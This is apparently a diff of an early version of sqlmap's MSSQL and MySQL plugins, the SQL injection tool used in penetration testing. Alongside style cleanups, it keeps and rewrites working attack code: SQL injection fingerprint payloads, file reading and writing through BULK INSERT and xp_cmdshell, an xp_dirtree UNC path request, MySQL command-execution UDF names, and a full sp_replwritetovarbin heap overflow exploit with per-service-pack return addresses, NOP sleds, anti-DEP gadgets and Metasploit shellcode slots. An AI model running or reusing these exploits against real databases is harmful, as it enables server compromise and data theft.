unescaper.setUnescape(MSSQLServerMap.unescape)
@staticmethod
def unescape(expression, quote=True):
if quote:
@@ -88,7 +81,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
raise sqlmapSyntaxException("Unenclosed ' in '%s'" % expression)
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
@@ -107,7 +100,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return expression
@staticmethod
def escape(expression):
while True:
@@ -119,7 +111,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
index = expression[firstIndex:].find("))")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
raise sqlmapSyntaxException("Unenclosed ) in '%s'" % expression)
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
@@ -132,9 +124,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return expression
def getFingerprint(self):
value = ""
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if wsOsFp:
@@ -146,23 +137,23 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
actVer = formatDBMSfp()
value += "back-end DBMS: "
actVer = formatDBMSfp()
if not conf.extensiveFp:
value += actVer
return value
blank = " " * 15
value += "active fingerprint: %s" % actVer
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
release = kb.bannerFp["dbmsRelease"]
version = kb.bannerFp["dbmsVersion"]
release = kb.bannerFp["dbmsRelease"]
version = kb.bannerFp["dbmsVersion"]
servicepack = kb.bannerFp["dbmsServicePack"]
if release and version and servicepack:
banVer = "Microsoft SQL Server %s " % release
banVer = "Microsoft SQL Server %s " % release
banVer += "Service Pack %s " % servicepack
banVer += "version %s" % version
@@ -175,7 +166,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return value
def checkDbms(self):
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
@@ -193,31 +183,39 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
result = Request.queryPage(payload)
if result == True:
if result:
infoMsg = "confirming Microsoft SQL Server"
logger.info(infoMsg)
for version in ( 0, 5, 8 ):
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d" % version)
for version in (0, 5, 8):
randInt = randomInt()
query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1))
payload = agent.fullPayload(query)
result = Request.queryPage(payload)
if result == True:
if result:
if version == 8:
kb.dbmsVersion = [ "2008" ]
kb.dbmsVersion = ["2008"]
break
elif version == 5:
kb.dbmsVersion = [ "2005" ]
kb.dbmsVersion = ["2005"]
break
elif version == 0:
kb.dbmsVersion = ["2000"]
break
else:
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=7")
query = " AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1))
payload = agent.fullPayload(query)
result = Request.queryPage(payload)
if result == True:
kb.dbmsVersion = [ "7.0" ]
if result:
kb.dbmsVersion = ["7.0"]
break
@@ -237,7 +235,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return False
def checkDbmsOs(self, detailed=False):
if kb.os and kb.osVersion and kb.osSP:
return
@@ -245,7 +242,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
if not kb.os:
kb.os = "Windows"
if detailed == False:
if not detailed:
return
infoMsg = "fingerprinting the back-end DBMS operating system "
@@ -254,17 +251,15 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
infoMsg = "the back-end DBMS operating system is %s" % kb.os
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
versions = {
"2003": ( "5.2", ( 2, 1 ) ),
#"2003": ( "6.0", ( 2, 1 ) ),
"2008": ( "7.0", ( 1, ) ),
"2000": ( "5.0", ( 4, 3, 2, 1 ) ),
"XP": ( "5.1", ( 2, 1 ) ),
"NT": ( "4.0", ( 6, 5, 4, 3, 2, 1 ) )
}
versions = {"2003": ("5.2", (2, 1)),
#"2003": ("6.0", (2,1)),
"2008": ("7.0", (1,)),
"2000": ("5.0", (4, 3, 2, 1)),
"XP": ("5.1", (2, 1)),
"NT": ("4.0", (6, 5, 4, 3, 2, 1))}
# Get back-end DBMS underlying operating system version
for version, data in versions.items():
@@ -316,7 +311,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
self.cleanup(onlyFileTbl=True)
def getPrivileges(self):
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
warnMsg += "database users privileges"
@@ -324,7 +318,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return {}
def getTables(self):
infoMsg = "fetching tables"
if conf.db:
@@ -395,16 +388,14 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
if not kb.data.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException, errMsg
raise sqlmapNoneDataException(errMsg)
return kb.data.cachedTables
def unionReadFile(self, rFile):
errMsg = "Microsoft SQL Server does not support file reading "
errMsg += "with UNION query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg
raise sqlmapUnsupportedFeatureException(errMsg)
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
@@ -414,12 +405,12 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
txtTbl = self.fileTblName
hexTbl = "%shex" % self.fileTblName
self.createSupportTbl(txtTbl, self.tblField, "text")
inject.goStacked("DROP TABLE %s" % hexTbl)
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
self.createSupportTbl(txtTbl, self.tblField, "text")
inject.goStacked("DROP TABLE %s" % hexTbl)
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
logger.debug("loading the content of file '%s' into support table" % rFile)
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
# Reference: http://support.microsoft.com/kb/104829
binToHexQuery = """
@@ -475,7 +466,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the content of the "
errMsg += "file '%s'" % rFile
raise sqlmapNoneDataException, errMsg
raise sqlmapNoneDataException(errMsg)
indexRange = getRange(count)
@@ -487,12 +478,10 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return result
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "Microsoft SQL Server does not support file upload with "
errMsg += "UNION query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg
raise sqlmapUnsupportedFeatureException(errMsg)
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
# NOTE: this is needed here because we use xp_cmdshell extended
@@ -516,16 +505,14 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
wFilePointer.close()
if wFileSize < debugSize:
chunkName = self.updateBinChunk(wFileContent, dFile, tmpPath)
chunkName = self.updateBinChunk(wFileContent, tmpPath)
sFile = "%s\%s" % (tmpPath, dFileName)
logger.debug("moving binary file %s to %s" % (sFile, dFile))
commands = (
"cd %s" % tmpPath,
"ren %s %s" % (chunkName, dFileName),
"move /Y %s %s" % (dFileName, dFile)
)
commands = ("cd %s" % tmpPath,
"ren %s %s" % (chunkName, dFileName),
"move /Y %s %s" % (dFileName, dFile))
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
@@ -541,8 +528,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
counter = 1
for i in range(0, wFileSize, debugSize):
wFileChunk = wFileContent[i:i+debugSize]
chunkName = self.updateBinChunk(wFileChunk, dFile, tmpPath)
wFileChunk = wFileContent[i:i + debugSize]
chunkName = self.updateBinChunk(wFileChunk, tmpPath)
if i == 0:
infoMsg = "renaming chunk "
@@ -554,11 +541,9 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
logger.debug(infoMsg)
commands = (
"cd %s" % tmpPath,
commands = ("cd %s" % tmpPath,
copyCmd,
"del /F %s" % chunkName
)
"del /F %s" % chunkName)
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
@@ -572,57 +557,20 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
logger.debug("moving binary file %s to %s" % (sFile, dFile))
commands = (
"cd %s" % tmpPath,
"move /Y %s %s" % (dFileName, dFile)
)
commands = ("cd %s" % tmpPath,
"move /Y %s %s" % (dFileName, dFile))
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
self.execCmd(forgedCmd)
if confirm == True:
if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)
def uncPathRequest(self):
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
def overflowBypassDEP(self):
# TODO: use 'sc' to:
# * Get the SQL Server 'Service name' (usually MSSQLSERVER)
# * Detect the absolute SQL Server executable file path
#
# References:
# * http://www.ss64.com/nt/sc.html
# * http://www.ss64.com/nt/for_cmd.html
self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe")
if self.bypassDEP == False:
return
logger.info("restarting Microsoft SQL Server, wait..")
time.sleep(15)
# TODO: use 'sc' to:
# * Warn the user that sqlmap needs to restart the SQL Server
# service, ask for confirmation
# * Stop the SQL Server service (after handling DEP)
# * Start the SQL Server service (after handling DEP)
# Another way to restart MSSQL consists of writing a bat file with
# the following text:
#
#@ECHO OFF
#NET STOP MSSQLSERVER
#NET START MSSQLSERVER
#
# Then run the following statement and wait a few seconds:
#
# exec master..xp_cmdshell 'start C:\WINDOWS\Temp\sqlmaprandom.bat'
def spHeapOverflow(self):
"""
References:
@@ -631,83 +579,112 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
"""
returns = {
"2003": ( 2, "CHAR(0x77)+CHAR(0x55)+CHAR(0x87)+CHAR(0x7c)" ), # ntdll.dll: 0x7c8601bd -> 7508e877 (0x77e80857 it's a CALL ESI @ kernel32.dll)
"2000": ( 4, "CHAR(0xdc)+CHAR(0xe1)+CHAR(0xf8)+CHAR(0x7c)" ), # shell32.dll: 0x7cf8e1ec 163bf77c -> (CALL ESI @ shell32.dll)
}
retAddr = None
# 2003 Service Pack 0
"2003-0": (""),
for version, data in returns.items():
sp = data[0]
address = data[1]
# 2003 Service Pack 1
"2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
# 2003 Service Pack 2 updated at 12/2008
#"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
# 2003 Service Pack 2 updated at 05/2009
"2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)")
# 2003 Service Pack 2 updated at 09/2009
#"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
}
addrs = None
for versionSp, data in returns.items():
version, sp = versionSp.split("-")
sp = int(sp)
if kb.osVersion == version and kb.osSP == sp:
retAddr = address
addrs = data
break
if retAddr == None:
if addrs is None:
errMsg = "sqlmap can not exploit the stored procedure buffer "
errMsg += "overflow because it does not have a valid return "
errMsg += "code for the underlying operating system (Windows "
errMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
raise sqlmapUnsupportedFeatureException, errMsg
errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
raise sqlmapUnsupportedFeatureException(errMsg)
shellcodeChar = ""
hexStr = binascii.hexlify(self.shellcodeString[:-1])
for hexPair in range(0, len(hexStr), 2):
shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
shellcodeChar = shellcodeChar[:-1]
self.spExploit = """
DECLARE @buf NVARCHAR(4000),
@val NVARCHAR(4),
@counter INT
SET @buf = '
declare @retcode int,
@end_offset int,
@vb_buffer varbinary,
@vb_bufferlen int
exec master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
SET @val = CHAR(0x41)
SET @counter = 0
WHILE @counter < 3320
BEGIN
SET @counter = @counter + 1
IF @counter = 411
BEGIN
/* Return address */
SET @buf = @buf + %s
SET @counter = @counter + 1
IF @counter = 411
BEGIN
/* pointer to call [ecx+8] */
SET @buf = @buf + %s
/* Nopsled */
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
/* push ebp, pop esp, ret 4 */
SET @buf = @buf + %s
/* Metasploit shellcode stage 1 */
SET @buf = @buf + %s
/* push ecx, pop esp, pop ebp, retn 8 */
SET @buf = @buf + %s
/* Unroll the stack and return */
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
CHAR(0xc3)
/* Garbage */
SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)
SET @counter = @counter + 302
SET @val = CHAR(0x43)
CONTINUE
END
SET @buf = @buf + @val
/* retn 1c */
SET @buf = @buf + %s
/* retn 1c */
SET @buf = @buf + %s
/* anti DEP */
SET @buf = @buf + %s
/* jmp esp */
SET @buf = @buf + %s
/* jmp esp */
SET @buf = @buf + %s
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)
/* Metasploit shellcode */
SET @buf = @buf + %s
SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
SET @counter = @counter + 302
SET @val = CHAR(0x43)
CONTINUE
END
SET @buf = @buf + @val
END
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
EXEC master..sp_executesql @buf
""" % (retAddr, self.shellcodeChar)
""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
self.spExploit = urlencode(self.spExploit, convall=True)

View File

@@ -22,19 +22,15 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import re
from lib.core.agent import agent
from lib.core.common import fileToStr
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -49,7 +45,6 @@ from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.techniques.inband.union.use import unionUse
from lib.techniques.outband.stacked import stackedTest
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
@@ -57,15 +52,21 @@ from plugins.generic.fingerprint import Fingerprint
from plugins.generic.misc import Miscellaneous
from plugins.generic.takeover import Takeover
class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines MySQL methods
"""
def __init__(self):
self.__basedir = None
self.excludeDbsList = MYSQL_SYSTEM_DBS
self.__basedir = None
self.__datadir = None
self.excludeDbsList = MYSQL_SYSTEM_DBS
self.sysUdfs = {
# UDF name: UDF return data-type
"sys_exec": { "return": "int" },
"sys_eval": { "return": "string" },
"sys_bineval": { "return": "int" }
}
Enumeration.__init__(self, "MySQL")
Filesystem.__init__(self)
@@ -73,7 +74,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
unescaper.setUnescape(MySQLMap.unescape)
@staticmethod
def unescape(expression, quote=True):
if quote:
@@ -107,7 +107,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return expression
@staticmethod
def escape(expression):
while True:
@@ -131,8 +130,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
expression = expression.replace(old, escaped)
return expression
def __commentCheck(self):
infoMsg = "executing MySQL comment injection fingerprint"
logger.info(infoMsg)
@@ -142,21 +140,22 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if result != True:
if not result:
warnMsg = "unable to perform MySQL comment injection"
logger.warn(warnMsg)
return None
# MySQL valid versions updated on 02/2009
# MySQL valid versions updated on 12/2009
versions = (
(32200, 32233), # MySQL 3.22
(32300, 32359), # MySQL 3.23
(40000, 40031), # MySQL 4.0
(40100, 40122), # MySQL 4.1
(50000, 50077), # MySQL 5.0
(50100, 50132), # MySQL 5.1
(60000, 60009), # MySQL 6.0
(50000, 50089), # MySQL 5.0
(50100, 50141), # MySQL 5.1
(50400, 50401), # MySQL 5.4
(60000, 60010), # MySQL 6.0
)
for element in versions:
@@ -170,7 +169,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if result == True:
if result:
if not prevVer:
prevVer = version
@@ -187,7 +186,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return None
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
@@ -208,7 +206,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
value += actVer
return value
# TODO: comment injection fingerprint is broken, fix
comVer = self.__commentCheck()
blank = " " * 15
value += "active fingerprint: %s" % actVer
@@ -233,7 +230,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return value
def checkDbms(self):
"""
References for fingerprint:
@@ -262,14 +258,14 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
result = Request.queryPage(payload)
if result == True:
if result:
infoMsg = "confirming MySQL"
logger.info(infoMsg)
payload = agent.fullPayload(" AND ISNULL(1/0)")
result = Request.queryPage(payload)
if result != True:
if not result:
warnMsg = "the back-end DMBS is not MySQL"
logger.warn(warnMsg)
@@ -348,8 +344,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
logger.warn(warnMsg)
return False
def checkDbmsOs(self, detailed=False):
if kb.os:
return
@@ -357,7 +352,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "text")
self.createSupportTbl(self.fileTblName, self.tblField, "text")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
@@ -370,14 +365,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
infoMsg = "the back-end DBMS operating system is %s" % kb.os
logger.info(infoMsg)
if detailed == False:
self.cleanup(onlyFileTbl=True)
return
self.cleanup(onlyFileTbl=True)
def unionReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
@@ -385,13 +374,12 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile)
return result
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
self.getRemoteTempPath()
tmpFile = "%s/sqlmapfilehex%s" % (conf.tmpPath, randomStr(lowercase=True))
@@ -427,8 +415,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3)
return result
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
logger.debug("encoding file to its hexadecimal string value")
@@ -456,18 +443,17 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
conf.paramFalseCond = oldParamFalseCond
if confirm == True:
if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
debugMsg = "creating a support table to write the hexadecimal "
debugMsg += "encoded file to"
logger.debug(debugMsg)
logger.debug(debugMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
logger.debug("encoding file to its hexadecimal string value")
logger.debug("encoding file to its hexadecimal string value")
fcEncodedList = self.fileEncode(wFile, "hex", False)
debugMsg = "forging SQL statements to write the hexadecimal "
@@ -477,7 +463,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug("inserting the hexadecimal encoded file to the support table")
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
@@ -485,122 +471,92 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
logger.debug(debugMsg)
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile))
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
if confirm == True:
if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)
def udfInit(self):
def udfSetRemotePath(self):
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
dFile = None
wFile = paths.SQLMAP_UDF_PATH
lib = "libsqlmapudf%s" % randomStr(lowercase=True)
# On Windows
if kb.os == "Windows":
